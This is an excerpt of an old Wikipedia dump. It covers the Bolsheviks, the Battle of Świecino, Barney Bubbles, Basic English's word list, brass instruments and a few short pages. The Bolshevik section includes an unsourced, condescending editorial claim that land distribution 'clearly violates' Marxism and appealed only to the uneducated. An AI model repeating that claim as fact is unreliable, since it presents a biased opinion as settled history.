The Petrograd Bolshevik Party had been under the control of [[Stalin]] who supported co-operation with the provisional government. Lenin opposed this line in his April Theses and the Bolsheviks became opponents of the government with [[propaganda]] slogans of &quot;All Power to Soviets&quot; and &quot;Bread, Peace and Land&quot; which attempted to appeal to the urban working class, soldiers, and to Russia's huge, primarily uneducated peasant population. The 'Land' part of the slogan appealed primarily to uneducated peasants and hte poor working class, as distribution of land is a clear violation of one of the key tenets of [[Marxism]] and [[Communism]] in general; anyone with a strong education or literary background would know this. Some radical Mensheviks, such as Trotsky, joined the Bolsheviks at this point. Stalin then changed his position and decided to support Lenin's line.

==July Days==

In early July widespread discontent in Petrograd led to militant demonstrations calling for the overthrow of the Provisional Government. The Bolshevik leadership opposed this as premature but ended up leading the demonstrations, hoping to prevent any bloodshed. They felt compelled to do this to win the trust of the workers and also in recognition of the fact that many of the Bolshevik rank and file were already organising and supporting the demonstrations. Troops loyal to the Provisional Government suppressed the demonstrations violently. The following crackdown resulted in the Kerensky government ordering the arrest of the Bolshevik leadership on [[July 19th]]. Lenin escaped capture, went into hiding, and wrote ''State and Revolution'', which outlined his ideas for a socialist government.

The repression against the Bolsheviks ceased when the Kerensky government was threatened by a [[Kornilov Affair|rebellion]] led by [[Lavr Georgevich Kornilov|General Kornilov]] and offered arms to those who would defend Petrograd against Kornilov. The Bolsheviks enlisted a 25,000 strong [[militia]] to defend Petrograd from attack and reached out to Kornilov's troops, urging them not to attack. They stood down and the rebellion fizzled with Kornilov being taken into custody. However, the Bolsheviks did not return their arms and Kerensky succeeded only in strengthening the Bolshevik position.

During this period a situation of [[dual power]] developed. While the legislature and provisional government were controlled by Kerensky in coalition with the Mensheviks and the Socialist Revolutionary Party, the workers' and soldiers' soviets were increasingly under the control of the Bolsheviks.ú

==October Revolution==

On [[October 10]], the Bolshevik Central Committee established a smaller Politburo to run party affairs due to the increased demands on the party for day-to-day direction. [[Andrey Bubnov|Bubnov]], [[Zinoviev]], [[Kamenev]], Lenin, [[Sokolnikov]], [[Stalin]] and [[Trotsky]] were elected to the body which operated for two weeks and dissolved on [[October 25]], [[1917]], once the Bolsheviks had taken power in the [[October Revolution]].

The Central Committee of the Bolsheviks had been debating whether to call for an [[insurrection]]. Lenin urged the Bolsheviks to overthrow the Provisional government. Zinoviev and Kamenev were the only members of the Central Committee to disagree. They took the unusual step of making their objections public in the pages of [[Pravda]], an act that very nearly got them expelled from the party for breaching party discipline.

When Kerensky moved against the Bolsheviks on [[October 22]] by ordering the arrest of their [[Military Revolutionary Committee]], banning the Bolshevik newspaper and cutting off telephone lines to the Bolshevik headquarters in the [[Smolny Institute]], Trotsky urged that the Bolsheviks' decision on overthrowing the government be put into action. Lenin concurred and on [[October 24]], orders were issued for the Bolsheviks' [[Red Guards (Russia)|Red Guards]] to occupy key locations in the city and surround the [[Winter Palace]] where the Provisional government had its headquarters.

The Bolsheviks raised the slogan ''All power to the soviets'' meaning that the country should be run by the workers and soldiers councils and not the constituent assembly.

On [[October 26]], 1917 the [[All-Russian Congress of Soviets]] met and handed power over to a [[Soviet Council of People's Commissars]] with Lenin as chairman, Trotsky as commissar of the [[Red Army]] and minister of foreign affairs and Bolsheviks taking the other positions of what was the new government of the country.

In March [[1918]], the [[Congress of the CPSU|Seventh Party Congress]] of the Social Democratic and Labor Party (Bolsheviks) met and, at Lenin's urging, changed the name of the party to the All-Russian Communist Party (Bolsheviks). After the name change, however, the party was generally known as the [[Communist Party of the Soviet Union|Communist Party]] with the name Bolshevik referring to the party prior to 1918.

==Derogatory Usage of &quot;Bolshevik&quot;==

During the days of the [[Cold War]] in the [[United Kingdom]], labour union leaders and other leftists were sometimes derisively described as &quot;Bolshie.&quot;  The usage is roughly equivalent to the term &quot;[[Communist|Red]]&quot; or &quot;[[Pinko]]&quot; in the [[United States]] during the same period.

==Notes==
*See Israel Getzler. ''Martov: A Political Biography of a Russian Social Democrat'', Cambridge University Press, 2003 (first edition 1967), ISBN 0521526027 p.78

==See also==

*[[Marxism]]
*[[List of socialists#Bolsheviks|List of socialists - Bolsheviks]]
*[[Soviet Union]]
*[[History of the Soviet Union]]
*[[Russian Revolution of 1917]], also known as the Bolshevik Revolution.
*[[Communist Party of the Soviet Union]]
*[[History of the Jews in Russia and Soviet Union]]
*[[Yevsektsiya]]
*[[Enemy of the people]]
*[[Old Bolshevik]]
*[[National Bolshevik]]

==External links==
*[http://www.marxists.org/history/archive/bobrovskaya/twenty-years/ Twenty Years in Underground Russia: Memoirs of a Rank-and-File Bolshevik], by [[Cecilia Bobrovskaya]]
*[http://www.marxist.com/bolshevism/ Bolshevism, the Road to Revolution], by [[Alan Woods]]
*[http://libcom.org/library/the-bolsheviks-and-workers-control-solidarity-group The Bolsheviks and Workers Control], by [[Maurice Brinton]]
*[http://www.pathfinderpress.com Pathfinder Books, Communist bookstore online]

[[Category:Communism]]
[[Category:Communist Party of the Soviet Union]]
[[Category:Soviet phraseology]]
[[Category:Political parties of Russian Revolution]]
[[Category:History of Russia]]
[[Category:1903 establishments]]

[[ca:Bolxevisme]]
[[da:Bolsjevik]]
[[de:Bolschewiki]]
[[es:Bolchevique]]
[[eo:Bolŝeviko]]
[[eu:Boltxebike]]
[[fr:Bolchevik]]
[[ko:볼셰비키]]
[[lt:Bolševikas]]
[[nl:Bolsjewiek]]
[[ja:ボリシェヴィキ]]
[[no:Bolsjevik]]
[[nn:Bolsjevik]]
[[pt:Bolchevique]]
[[ro:Bolşevic]]
[[ru:Большевик]]
[[simple:Bolshevik]]
[[sl:Boljševiki]]
[[fi:Bolševikit]]
[[sv:Bolsjevik]]
[[tr:Bolşevik]]
[[zh:布尔什维克]]</text>
    </revision>
  </page>
  <page>
    <title>Battle of Świecino</title>
    <id>4928</id>
    <revision>
      <id>34522596</id>
      <timestamp>2006-01-09T19:40:38Z</timestamp>
      <contributor>
        <username>Appleseed</username>
        <id>404133</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Campaignbox Thirteen Years' War}}

The '''Battle of Świecino''' (or ''Świecin'') (named for the village of [[Świecino]], near Żarnowiec Lake, northern Poland) also called the '''Battle of [[Żarnowiec]]''' or in German '''Battle of Schwetzin''', took place on [[September 17]] [[1462]] during the [[Thirteen Years' War]]. The [[Poland|Poles]] commanded by [[Piotr Dunin]], consisting of some 2000 mercenaries decisively defeated the [[Teutonic Knights]], having some 2700 mercenaries, commanded by [[Fritz Raweneck]] and [[Kaspar Nostyc]]. Auxiliary forces sent by duke [[Eric II of Pomerania]], ally of the Polish king, did not enter the battle.

== Polish forces ==
The Polish forces consisted of the mercenaries hired by the Polish king, [[Casimir IV of Poland|Casimir IV the Jagiellon]] and the royal city of [[Gdańsk]]. His force consisted of some 1000 cavalry, including 112 heavy cavalry, and another 1000 of infantry. These numbers include 1000 cavalry and 400 infantry were mercenaries hired by Polish king, the rest were units from Gdańsk.

== Teutonic forces ==
Most of the [[Teutonic Knights|Teutonic army]], under the command of Fritz Raweneck and Kaspar Nostyc, were mercenary soldiers gathered from the nearby castles [[Gniew]], [[Starogard Gdański]], [[Nowe]], [[Skarszewy]] and [[Kiszewy]]. This army totalled 1000 cavalry and 400 infantry. Raweneck also had the supply chain (tabors), cannons and up to 1300 auxiliary infantry of Pomeranian peasants, used mainly for fortification works.

== Battle ==
The battle started in the morning. Polish units build a fortified camp consisting, as usual in central European battles, of wagons linked by a chain surrounded by a deep ditch ([[Tabor (formation)|tabor]]). Also, units of Raveneck and his subordinate, Kaspar Nostyc (commander from [[Chojnice]]) created tabor. Piotr Dunin decided not to wait for the enemy and attacked first, setting infantry with crossbows at left, defended by cavalry between the tabor and the coast of the nearby lake of Rogoźnica. Raveneck placed cavalry in front of his tabor, and infantry behind it, without any strategic plan. The first phase of the battle was started by a charge of Polish heavy cavalry under Paweł Jasieński. Fierce fighting continued for three hours and ended without a clear winner. After a short pause at midday, Teuton units were able to push the Poles back; however, they found themselves under very heavy fire from crossbows of the Polish infantry, which caused huge losses and withdrawal. During this fight Raveneck was wounded. Raveneck stopped his soldiers and tried to attack again, but this charge ended with total defeat - Raveneck died and the rest of the cavalry surrendered or escaped. The Teuton infantry tried to defend at tabor, but its resistance was broken by a sudden attack of Polish cavalry.

== Casualties ==
The Teuton army lost around 1000 soldiers, including some 300 cavalryman. Fifty soldiers were captured. The Teutonic commander was also killed in battle and was buried in the Żarnowiec chapter church.

The Poles lost just 100 soldiers, but 150 later died from wounds. Among the dead on the Polish side was [[Maciej Hagen]] from [[Gdańsk]]. Piotr Dunin was twice wounded.

== Aftermath ==
The direct result of the battle of Świecino was that Gdańsk City and Pomerania were freed from Teutonic danger so that the royal and municipal armed forces could be used elsewhere in the war, mainly to protect the Vistula waterway and to capture the Teutonic held strongholds. This way that Teutonic forces in Prussia, on the rights bank of Vistula were cut off from the supplies form Western Europe.

The psychological significance was that this was the first open field battle won by the royal forces, so it increased the morale of the Polish forces, and lowered the morale of the Teutonic Knights. Many military historians say that the battle of Świecino was the turning point of the [[Thirteen Years' War]], leading to the final victory in 1466.

==External links==
* [http://www.pilot.pl/index.php3?Z_CITY_NAME=%B6wiecino Świecino near Żarnowiec Lake]
* [http://66.188.129.72:5980/History/PreModernEurope/pl-8thirteen_years_war.htm The Thirteen Years War (1454-1466) including the battle of Świecino]
* [http://britishbattles.homestead.com/files/russia/poland20020402.htm Military history of Renaissance Poland (1454-1635) including the battle of Świecino]
* [http://www.krokowa.pl/ Krokowa Commune Home Page]
* [http://www.zamek.malbork.com.pl/index.php?m=02&amp;p=11 Malbork Castle - Battle of Świecino]

== References ==
* Janusz Sikorski, ''Zarys historii wojskowości powszechnej do końca wieku XIX. [Universal history of military operations till 1900]'', Wojskowy Instytut Historyczny, Wydawnictwo Ministerstwa Obrony Narodowej, Warszawa 1972. - description of the battle of Świecino: pp. 287-288, map of the battle of Świecino: p. 288
* Janusz Sikorski (ed.), Wiesław Majewski, Tadeusz Marian Nowak, Jerzy Teodorczyk, ''Polskie tradycje wojskowe. Tradycje walk obronnych z najazdami Niemców, Krzyżaków, Szwedów, Turków i Tatarów X-XVII w. [Polish military traditions. Tradition of defence struggles with the invasions of the Germans, Teutonic Knights, Swedes, Turks and Tartars in 10th-17th centuries]''. Wojskowy Instytut Historyczny, Wydawnictwo Ministerstwa Obrony Narodowej, Warszawa 1990. - description of the battle of Świecino: p. 127, map of the battle of Świecino: p. 114
* Stanisław Herbst, ''Wojna Trzynastoletnia - O bitwie pod Świecinem. [The Thirteen Years' War - About the Battle of Świecino]'', Przegląd Historyczno-Wojskowy, vol. 7: 1934/1935, issue 2, pp. 309-311, reprinted in: Stanisław Herbst, ''Potrzeba historii czyli o polskim stylu życia. Wybór pism.'' Państwowy Instytut Wydawniczy, Warszawa 1978
* K. Górski, ''Pomorze w dobie wojny trzynastoletniej. [Pomerania during the Thirteen Years' War]'', Poznań 1932 - description and 3 maps of the battle of Świecino: p. 308
* Marian Biskup, ''Druga faza wojny trzynastoletniej (1462-1466). [Second phase of the Thirteen Years' War 1462-1466]'', in: Gerard Labuda (ed.), ''Historia Pomorza. [History of Pomerania]'', Wydawnictwo Poznańskie, Poznań 1972, - description of the battle of Świecino: p. 738
* ''Świecino'', in: Róża Ostrowska, Izabela Trojanowska, ''Bedeker Kaszubski'', Wydawcnictwo Morskie, Gdańsk 1974
* ''Świecino'', in: Tadeusz Bolduan, ''Nowy bedeker kaszubski'', Gdańsk 1997

[[Category:1462]]
[[Category:Battles of the Thirteen Years' War|Świecino]]

[[pl:Bitwa pod Świecinem]]</text>
    </revision>
  </page>
  <page>
    <title>Barney Bubbles</title>
    <id>4930</id>
    <revision>
      <id>32114278</id>
      <timestamp>2005-12-20T16:24:37Z</timestamp>
      <contributor>
        <username>Cactus.man</username>
        <id>264914</id>
      </contributor>
      <comment>wikilinks</comment>
      <text xml:space="preserve">'''Colin Fulcher''' aka '''Barney Bubbles''' ([[1942]] - [[1983]]) was a British [[graphic designer]] and [[video director]].  Born in West [[London]] in 1942, he lived in the [[Portobello Road]], London in the [[1960s]], and was closely associated with [[Hawkwind]] as an artistic collaborator and album cover designer. He committed [[suicide]] in [[1983]].

Bubbles was also responsible for the graphic art associated with [[Nik Turner]]'s [[Inner City Unit]], [[Stiff Records]] and [[Ian Dury|Ian Dury and the Blockheads]].

==External links==
* http://www.ibiblio.org/mal/MO/philm/barney/
* http://www.ibiblio.org/mal/MO/philm/friends/barney.html
* http://www.nenne.com/typography/bb1.html
* http://www.nikturner.com/noise/black/bubbles.shtml


{{artist-stub}}

[[Category:1942 births|Bubbles, Barney]]
[[Category:1983 deaths|Bubbles, Barney]]
[[Category:British designers|Bubbles, Barney]]
[[Category:Music video directors|Bubbles, Barney]]
[[Category:Hawkwind|Bubbles, Barney]]
[[Category:Suicides|Bubbles, Barney]]</text>
    </revision>
  </page>
  <page>
    <title>Basal body temperature method</title>
    <id>4932</id>
    <revision>
      <id>22152092</id>
      <timestamp>2005-08-30T04:28:38Z</timestamp>
      <contributor>
        <username>Icarus3</username>
        <id>282222</id>
      </contributor>
      <comment>eliminate double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Fertility awareness]]</text>
    </revision>
  </page>
  <page>
    <title>Blackridge, Pennsylvania</title>
    <id>4933</id>
    <revision>
      <id>40361329</id>
      <timestamp>2006-02-20T01:33:39Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Blackridge''' is a community in eastern [[Allegheny County, Pennsylvania|Allegheny County]] and is a suburb of [[Pittsburgh, Pennsylvania]]. This community consists of about 650 private homes built in 1920-1949, Blackridge Estates was and remains one of the area's largest residential communities. Blackridge lies in the municipalties of Wilkinsburg, Penn Hills and Churchill; it maintains a Civic Association and a private park and swim club for residents.

==External links==

*http://www.blackridge-bca.org
[[Category:Unincorporated communities in Pennsylvania]]
[[Category:Allegheny County, Pennsylvania]]</text>
    </revision>
  </page>
  <page>
    <title>Basic English</title>
    <id>4934</id>
    <revision>
      <id>42005773</id>
      <timestamp>2006-03-03T04:19:50Z</timestamp>
      <contributor>
        <username>Ashmoo</username>
        <id>194089</id>
      </contributor>
      <comment>/* Historical references */ pls re-include with a cite?</comment>
      <text xml:space="preserve">{{English dialects}}
'''Basic English''' is a [[Constructed language|constructed language]] with a small number of words created by [[Charles Kay Ogden]] and described in his book ''Basic English: A General Introduction with Rules and Grammar'' (1930).  The language is based on a simplified version of [[English Language|English]].

Ogden said that it would take seven years to learn English, seven months for [[Esperanto]], and seven weeks for Basic English, comparable with [[Ido]]. Thus Basic English is used by companies who need to make complex books for international use, and by language schools that need to give people some knowledge of English in a short time.

Ogden did not put words into Basic English that could be said with a few other words, and he worked to make the words work in any country. He put his set of words through a large number of tests and adjustments. He also made the grammar simpler, but tried to keep the grammar normal for English users. 

The concept gained its greatest publicity just after the [[World War II|Second World War]] as a tool for world peace. Although it was not built into a program, similar simplifications were devised for various international uses. 

== Rules of grammar ==
Ogden's rules of grammar for Basic English allow people to use the 850 words to talk about things and events in the normal English way.
#Words are pluralized by adding an &quot;S&quot; on the end of the word.  If there are special ways to make a plural word in English, such as &quot;ES&quot; and &quot;IES&quot;, they should be used instead.
#Words like &quot;change,&quot; &quot;turn,&quot; and &quot;use&quot; are used as nouns, but the 300 of them may be turned into different forms by adding the ending -&quot;ER&quot; or -&quot;ING&quot;; or into adjectives by adding -&quot;ING&quot; and -&quot;ED.&quot; Only &quot;act&quot; is to be turned into &quot;actor,&quot; not &quot;acter.&quot;
#Some adjectives can be turned into adverbs with the ending -&quot;LY&quot;.
#For comparatives and superlatives, either &quot;MORE&quot; and &quot;MOST&quot; or -&quot;ER&quot; and -&quot;EST&quot; may be used.
#Some adjectives can be inverted with &quot;UN&quot;-.
#Yes/No Questions are formed by adding &quot;DO&quot; at the beginning or changing the word order.
#Operators and pronouns conjugate as in normal English.
#Combined words can be formed from two operators (for example &quot;become&quot;), from two nouns (for example &quot;newspaper&quot; or &quot;headline&quot;) or from a noun and a direction (&quot;sundown&quot;).
#Measures, numbers, money, months, days, years, clock time, and international words are in English forms.
#The wordlist can be augmented by the [[jargon]] of an industry or science.  For example, in a grammar, words such as &quot;grammar&quot; or &quot;noun&quot; might be used, even though they are not on Ogden's wordlist.



== Historical references ==
[[Winston Churchill]] and [[Franklin Roosevelt]] supported the idea of using Basic English as an international language, and Churchill recommended it in a speech at [[Harvard University]] in [[1943]]. Amused critics said that &quot;blood, toil, tears and sweat&quot; translates into Basic English as &quot;blood, hard work, eyewash and body water&quot;.

According to the [[Times Educational Supplement]]'s [http://www.talkingto.co.uk/ttgo/html/ttgo_answ.asp?quesID=1923&amp;CatID=187 Talking To series], [[George Orwell]] might have parodied Basic English in his book ''[[Nineteen Eighty-Four]]''. The references to [[Newspeak]] could be interpreted as a hidden critique against &quot;[[International auxiliary language|universal languages]]&quot;. [[George Bernard Shaw]] is said to have subsidized Basic English, but this may be a misunderstanding: Shaw's real interest in language reform - and the bulk of his estate after his death - went to devising a new alphabet for non-Basic English.

== Word List ==
These are the 850 core words of Basic English.
=== Operations - 100 words ===
come, get, give, go, keep, let, make, put, seem, take, 
be, do, have, say, see, send, may, will
&lt;br /&gt;about, across, after, against, among, at, before, between, by, 
down, from, in, off, on, over, through, to, under, up, with, 
as, for, of, till, than,
&lt;br /&gt;a, the, all, any, every, no, other, some, such, that, this,
I, he, you, who,
&lt;br /&gt;and, because, but, or, if, though, while, how, when, where, why, 
&lt;br /&gt;again, ever, far, forward, here, near, now, out, still, then, 
there, together, well 
&lt;br /&gt;almost, enough, even, little, much, not, only, quite, so, very,
tomorrow, yesterday
&lt;br /&gt;north, south, east, west, please, yes.

=== Things - 400 general words ===
account, act, addition, adjustment, advertisement, agreement, air,
amount, amusement, animal, answer, apparatus, approval, argument, art,
attack, attempt, attention, attraction, authority,
back, balance, base, behaviour/behavior, belief, birth, bit, bite, blood, blow,
body, brass, bread, breath, brother, building, burn, burst, business,
butter, canvas, care, cause, chalk, chance, change, cloth, coal, colour/color, comfort,
committee, company, comparison, competition, condition, connection,
control, cook, copper, copy, cork, cotton, cough, country, cover,
crack, credit, crime, crush, cry, current, curve,
damage, danger, daughter, day, death, debt, decision, degree, design,
desire, destruction, detail, development, digestion, direction,
discovery, discussion, disease, disgust, distance,
distribution, division, doubt, drink, driving, dust,
earth, edge, education, effect, end, error, event, example, exchange,
existence, expansion, experience, expert, 
fact, fall, family, father, fear, feeling, fiction, field, fight, fire,
flame, flight, flower, fold, food, force, form, friend, front, fruit,
glass, gold, government, grain, grass, grip, group, growth, guide,
harbour/harbor, harmony, hate, hearing, heat, help, history, hole, hope, hour, humour/humor, 
ice, idea, impulse, increase, industry, ink, insect, instrument,
insurance, interest, invention, iron,
jelly, join, journey, judge, jump, 
kick, kiss, knowledge,
land, language, laugh, law, lead, learning, leather, letter, level,
lift, light, limit, linen, liquid, list, look, loss, love,
machine, man, manager, mark, market, mass, meal, measure, meat, meeting,
memory, metal, middle, milk, mind, mine, minute, mist, money, month,
morning, mother, motion, mountain, move, music,
name, nation, need, news, night, noise, note, number,
observation, offer, oil, operation, opinion, order, organization/organisation,
ornament, owner,
page, pain, paint, paper, part, paste, payment, peace, person, place,
plant, play, pleasure, point, poison, polish, porter, position, powder,
power, price, print, process, produce, profit, property,
prose, protest, pull, punishment, purpose, push,
quality, question,
rain, range, rate, ray, reaction, reading, reason, record, regret, relation, religion, 
representative, request, respect, rest, reward, rhythm, rice, river, road, roll, room, rub, rule, run,
salt, sand, scale, science, sea, seat, secretary, selection, self, sense, servant, sex,
shade, shake, shame, shock, side, sign, silk, silver, sister, size, sky, sleep, slip, slope,
smash, smell, smile, smoke, sneeze, snow, soap, society, son, song, sort, sound, soup, 
space, stage, start, statement, steam, steel, step, stitch, stone, stop, story, stretch, 
structure, substance, sugar, suggestion, summer, support, surprise, swim, system,
talk, taste, tax, teaching, tendency, test, theory, thing, thought, thunder, 
time, tin, top, touch, trade, transport, trick, trouble, turn, twist, unit, use, 
value, verse, vessel, view, voice, walk, war, wash, waste, water, wave, wax, way, weather, week, weight,
wind, wine, winter, woman, wood, wool, word, work, wound, writing, year.

=== Things - 200 picturable words ===
[[Image:Tasse Kl 99.jpg|thumb|120px|&quot;Cup&quot; from [[:simple:Basic English picture wordlist|Basic English picture wordlist]].]]
angle, ant, apple, arch, arm, army, baby, bag, ball, band, basin, basket, bath, bed, bee, bell, berry, bird,
blade, board, boat, bone, book, boot, bottle, box, boy, brain, brake,
branch, brick, bridge, brush, bucket, bulb, button,
cake, camera, card, cart, carriage, cat, chain, cheese, chest, chin,
church, circle, clock, cloud, coat, collar, comb, cord, cow, cup,
curtain, cushion, dog, door, drain, drawer, dress, drop, ear, egg, engine, eye, face, farm, feather, finger, fish, flag, floor, fly, foot, fork, fowl, frame,
garden, girl, glove, goat, gun, 
hair, hammer, hand, hat, head, heart, hook, horn, horse, hospital, house, island, jewel,
kettle, key, knee, knife, knot, leaf, leg, library, line, lip, lock, map, match, monkey, moon, mouth, muscle,
nail, neck, needle, nerve, net, nose, nut, 
office, orange, oven, parcel, pen, pencil, picture, pig, pin, pipe, plane, plate, plough/plow,
pocket, pot, potato, prison, pump, rail, rat, receipt, ring, rod, roof, root,
sail, school, scissors, screw, seed, sheep, shelf, ship, shirt, shoe,
skin, skirt, snake, sock, spade, sponge, spoon, spring, square, stamp,
star, station, stem, stick, stocking, stomach, store, street, sun,
table, tail, thread, throat, thumb, ticket, toe, tongue, tooth, town, train, tray, tree, trousers,
umbrella, wall, watch, wheel, whip, whistle, window, wing, wire, worm.

=== Qualities - 100 descriptive words ===
able, acid, angry, automatic, beautiful, black, boiling, bright, broken, brown,
cheap, chemical, chief, clean, clear, common, complex, conscious, cut,
deep, dependent, early, elastic, electric, equal,
fat, fertile, first, fixed, flat, free, frequent, full,
general, good, great, grey/gray, hanging, happy, hard, healthy, high, hollow,
important, kind, like, living, long, male, married, material, medical, military, 
natural, necessary, new, normal, open, parallel, past, physical, political, poor, 
possible, present, private, probable, quick, quiet,
ready, red, regular, responsible, right, round,
same, second, separate, serious, sharp, smooth, sticky, stiff, straight,
strong, sudden, sweet,
tall, thick, tight, tired, true, violent,
waiting, warm, wet, wide, wise, yellow, young.

=== Qualities - 50 opposites ===
awake, bad, bent, bitter, blue, certain, cold, complete, cruel,
dark, dead, dear, delicate, different, dirty, dry,
false, feeble, female, foolish, future,
green, ill, 
last, late, left, loose, loud, low,
mixed, narrow, old, opposite,
public, rough,
sad, safe, secret, short, shut, simple, slow, small, soft, solid,
special, strange,
thin, white, wrong. 

----

== See also ==
* [[Bible in Basic English]]
* [[Special English]]
* [[Simplified English]]
* [[Wycliffe Bible Translators#EasyEnglish]]
* [[Globish]]
* [[European English]]
* [[:simple:Basic English picture wordlist|Basic English picture wordlist]]

== External links ==
* Charles Kay Ogden, ''[http://ogden.basic-english.org/booksum1.html Basic English: A General Introduction with Rules and Grammar]'', London: Paul Treber 
* Charles Kay Ogden, ''[http://crockford.com/wrrrld/begr.html Basic English and Grammatical Reform]'', Cambridge:  The Orthological Institute. (1937).
* http://www.basic-english.org
* [[Wiktionary:Wiktionary:Basic_English_template|Wiktionary:Basic_English_template]] (uses Basic English word list as a basis for studying equivalent basic words in other languages)
*[http://www.world-english.org/ World English Organization]

[[Category:English pidgin and creole languages]]
[[Category:Forms of English]]
[[Category:Constructed languages]]
[[Category:Technical communication]]

[[cs:Basic English]]
[[de:Basic English]]
[[es:Inglés básico]]
[[eo:Baza Angla]]
[[fr:Anglais basique]]
[[ia:Basic English]]
[[it:Basic English]]
[[hu:Egyszerű angol nyelv]]
[[nl:Basic English]]
[[ja:ベーシック英語]]
[[pl:Basic English]]
[[ru:Бейсик инглиш]]
[[simple:Basic English]]
[[sl:Osnovna angleščina]]
[[fi:Basic english]]
[[sv:Basic English]]
[[zh:简明英语]]</text>
    </revision>
  </page>
  <page>
    <title>BND</title>
    <id>4937</id>
    <revision>
      <id>29042421</id>
      <timestamp>2005-11-23T07:58:21Z</timestamp>
      <contributor>
        <ip>69.223.160.229</ip>
      </contributor>
      <text xml:space="preserve">'''BND''' may stand for:

* [[Buy Nothing Day]]
* ''[[Bundesnachrichtendienst]]'', [[Germany|German]] [[intelligence agency]]
* [[Brunei dollar]] ([[ISO currency code]])

{{TLAdisambig}}



[[de:BND]]</text>
    </revision>
  </page>
  <page>
    <title>Branch prediction</title>
    <id>4938</id>
    <revision>
      <id>15903185</id>
      <timestamp>2004-01-05T07:42:33Z</timestamp>
      <contributor>
        <ip>24.5.11.154</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Branch predictor]]</text>
    </revision>
  </page>
  <page>
    <title>Betting</title>
    <id>4939</id>
    <revision>
      <id>15903186</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Gambling]]
</text>
    </revision>
  </page>
  <page>
    <title>Brass instrument</title>
    <id>4940</id>
    <revision>
      <id>41684949</id>
      <timestamp>2006-03-01T01:23:04Z</timestamp>
      <contributor>
        <username>Hairy Dude</username>
        <id>274535</id>
      </contributor>
      <minor />
      <comment>/* Families of brass instruments */ removed extraneous 'and'</comment>
      <text xml:space="preserve">A '''brass instrument''' is a [[musical instrument]] whose tone is produced by vibration of the lips as the player blows into a tubular [[resonance|resonator]] (mouthpiece).  They are also called ''labrosones'', literally meaning &quot;lip-vibrated instruments&quot; (Baines, 1993).
[[Image:trumpets02262006.jpg|thumb|right|Abstract image of a trumpet.]]



The view of most scholars (see [[organology]]) is that the term &quot;brass instrument&quot; should be defined by the way the sound is made, as above, and not by whether the instrument is actually made of brass.  Thus, as exceptional cases one finds brass instruments made of wood, like the [[cornett]], and [[woodwind instrument]]s made of brass, like the [[saxophone]].  

== Families of brass instruments ==

Brass instruments nowadays generally come in one of two families:

&lt;div style=&quot;float:right;padding:10px;&quot;&gt;
[[Image:Kinkangakki_piston.png]]
&lt;br /&gt;
''Piston valve''

[[Image:Kinkangakki_rotary.png]]
&lt;br /&gt;''Rotary valve''

[[Image:Kinkangakki_slide.png]]
&lt;br /&gt;
''Slide''
&lt;/div&gt;
*'''Valved''' brass instruments use a set of valves (typically 3 or 4 but as many as 7 or more in some cases) operated by the player's fingers that introduce additional tubing into the instrument, changing its overall length.  This family includes all of the modern brass instruments except the trombone (the [[trumpet]], [[horn (instrument)|horn]], [[euphonium]], and [[tuba]], as well as the [[cornet]], [[flugelhorn]], [[baritone horn]], [[sousaphone]], [[mellophone]], and the old [[saxhorn]]).  As valved instruments are predominant among the brasses today, a more thorough discussion of their workings can be found below.  The valves are usually piston valves, but can be rotary valves. Rotary valves are the norm for the [[horn (instrument)|horn]] and are also prevalent on the [[tuba]].  

*'''Slide''' brass instruments use a slide to change the length of tubing. The main instruments in this category are the [[trombone]] family, though valve trombones are occasionally used, especially in [[jazz]]. The trombone family's ancestor the [[sackbut]] and the folk instrument [[Bazooka_(instrument)|bazooka]] are also in the slide family.

There are two more families that have now become functionally obsolete, though instruments of both types are sometimes used for [[authentic performance|period-instrument performances]] of Baroque- or Classical-era pieces.

*'''Natural''' brass instruments, where the player can only play notes in the instrument's [[harmonic series (music)|harmonic series]], for example the [[bugle (instrument)|bugle]].  The [[trumpet]] was a natural brass instrument prior to about 1795, and the [[natural horn|horn]] before about 1820. Natural instruments are still played in s of older music, and for some ceremonial functions. 

*'''Keyed or Fingered''' brass instruments used holes along the body of the instrument, which were covered by fingers or by finger-operated pads (keys) in a similar way to a [[woodwind instrument]]. These included the [[cornett]], [[serpent (instrument)|serpent]] and [[keyed trumpet]]. Such instruments were difficult to play and became functionally obsolete with the invention of the valve.

=== Some other wind instruments ===

* [[alphorn]] ([[wood]])
* [[conch]] ([[animal shell|shell]])
* [[shofar]] ([[horn (anatomy)|horn]])
* [[Vladimirsky rozhok]] ([[wood]], [[Russia]])
* [[Didgeridoo]] ([[wood]], [[Australia]])
* [[Wagner tuba]]
* [[Natural horn]] [[long-necked elephant]]

== Valves ==

As noted above, valves allow brass players to change pitches A [[piston valve]] is a device used to change the pitch of a [[brass instrument]]; three or more piston valves can be found on [[trumpet]]s, [[tuba]]s, and the like.  When opened (&quot;pressed&quot; and &quot;pushed down&quot;), each valve changes the pitch by diverting the air stream through additional tubing, thus lengthening the instrument and lowering the harmonic series on which the instrument is vibrating.  

An alternate to the piston valve is the [[rotary valve]].

The first piston valve instruments were developed just after the start of the [[19th century]]. The Stölzel valve (invented by Heinrich Stoelzel in 1814) was an early variety. In the mid 19th century the Vienna valve was an improved design. However most professional musicians preferred rotary valves for quicker, more reliable action, until better designs of piston valves were mass manufactured towards the end of the 19th century. Since the early decades of the 19th century, piston valves have been the most common on brass instruments.

The following list shows how each valve or combination of valves will affect the pitch from the fundamental; this is true of all brass instruments.
*second valve - one half step
*first valve - one whole step
*first and second valves - one and a half steps.  Also achievable by third valve alone but the note will usually be flat
*second and third valves - two whole steps
*first and third valves - a perfect fourth, or two and a half steps.  Will be sharp unless some means of compensation is used.
*first, second, and third valves - a tritone, or three whole steps.  Will be very sharp unless some means of compensation is used.  Note that these tuning deficiencies are unavoidable; they are inherent in the construction of the instrument.

